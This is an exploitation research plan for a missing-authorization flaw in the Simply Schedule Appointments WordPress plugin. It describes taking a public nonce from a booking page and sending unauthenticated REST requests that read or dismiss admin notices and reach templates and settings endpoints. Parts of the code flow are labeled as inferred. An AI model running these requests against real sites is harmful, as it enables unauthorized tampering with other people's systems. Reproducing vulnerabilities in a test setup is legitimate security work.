Exploitation Research Plan - CVE-2026-57812

1. Vulnerability Summary

CVE-2026-57812 is a Missing Authorization vulnerability in the Simply Schedule Appointments (SSA) plugin (versions <= 1.6.12.4). The vulnerability exists because certain REST API endpoints (specifically those handling notices and templates) fail to perform adequate capability checks.

The CHANGELOG.md for version 1.6.12.0 mentions an attempt to "tighten notices/templates REST auth" and "Remove public-nonce fallback." This indicates that these endpoints previously accepted a "public nonce" (intended for unauthenticated booking interactions) as a valid authorization token for administrative actions. The existence of this CVE up to version 1.6.12.4 suggests the fix was incomplete or specific endpoints were overlooked.

2. Attack Vector Analysis

• Endpoint: /wp-json/ssa/v1/notices or /wp-json/ssa/v1/templates
• HTTP Method: GET (for information exposure) and POST/PUT/DELETE (for unauthorized modification).
• Authentication: Unauthenticated.
• Authorization: The attacker leverages the public_nonce provided to all users on pages where the SSA booking form is present.
• Preconditions: At least one page must contain the SSA booking shortcode [ssa_booking] to expose the public nonce.

3. Code Flow

1. The plugin initializes various API handlers in simply-schedule-appointments.php (e.g., $this->notices_api, $this->templates_api).
2. These classes register REST routes under the ssa/v1 namespace using register_rest_route.
3. The permission_callback for these routes likely checks if the user is an administrator OR if a valid public_nonce is provided in the X-WP-Nonce header or _wpnonce parameter.
4. In the vulnerable version, endpoints like notices still permit the public_nonce fallback, allowing unauthenticated users to perform actions like dismissing administrative notifications or modifying templates.

4. Nonce Acquisition Strategy

The "public nonce" is required for the REST API to accept requests from the frontend booking app.

1. Trigger Script Loading: SSA enqueues its scripts and localizes data on any page containing the booking shortcode.
2. Create Page:
   wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[ssa_booking]'
3. Extract Nonce:
   Navigate to the newly created page and use browser_eval to extract the nonce from the global configuration object.
   • JS Variable: window.SSA_Booking (inferred from SSA source patterns).
   • Nonce Key: nonce or public_nonce.
   • Command: browser_eval("window.SSA_Booking?.nonce")

5. Exploitation Strategy

We will attempt to unauthentically access and modify the plugin's "Notices" (administrative messages), which fits the "Missing Authorization" and "Low Integrity Impact" (CVSS 5.3) profile.

Step 1: Discover Existing Notices

• Request: GET /wp-json/ssa/v1/notices
• Headers: X-WP-Nonce: [EXTRACTED_NONCE]
• Goal: List all administrative notices. If successful, this confirms the missing authorization on the GET handler.

Step 2: Perform Unauthorized Action (Dismiss Notice)

• Request: POST /wp-json/ssa/v1/notices/dismiss (or similar endpoint identified in Step 1)
• Payload: {"notice_id": "some-id"}
• Headers: Content-Type: application/json, X-WP-Nonce: [EXTRACTED_NONCE]
• Goal: Dismiss an admin notice as an unauthenticated user.

Step 3: Modify Templates (Optional/Alternative)

• Request: GET /wp-json/ssa/v1/templates
• Goal: View email/notification templates to confirm broad authorization bypass.

6. Test Data Setup

1. Plugin Installation: Install SSA version 1.6.12.4.
2. Generate a Notice: Ensure there is at least one active notice in the SSA dashboard (e.g., by not completing the setup wizard or inducing a minor configuration warning).
3. Public Page: Create a page with the shortcode [ssa_booking] at the slug /booking-page.

7. Expected Results

• The GET /wp-json/ssa/v1/notices request should return a 200 OK with a JSON array of notices, even though the request is unauthenticated.
• The POST request to dismiss or modify a notice should return 200 OK and the notice should no longer appear in the admin dashboard.

8. Verification Steps

1. Verify via WP-CLI:
   Check the database for dismissed notices (often stored in wp_options under ssa_settings or ssa_dismissed_notices):
   wp option get ssa_dismissed_notices
2. Verify via Admin UI: Log in as an admin and verify that the targeted notice has disappeared from the "Simply Schedule Appointments" dashboard.

9. Alternative Approaches

If the notices endpoint is already partially patched, target the templates or support_status endpoints:

• GET /wp-json/ssa/v1/templates
• GET /wp-json/ssa/v1/support_status
• POST /wp-json/ssa/v1/settings (Check if the "Unauthenticated settings exposure" fix from 1.6.11.0 was regressed or incomplete).

If window.SSA_Booking is not the correct variable, search the page source for wp-json/ssa/v1 to find the localization script. Look for keys like rest_nonce, public_nonce, or ssa_nonce.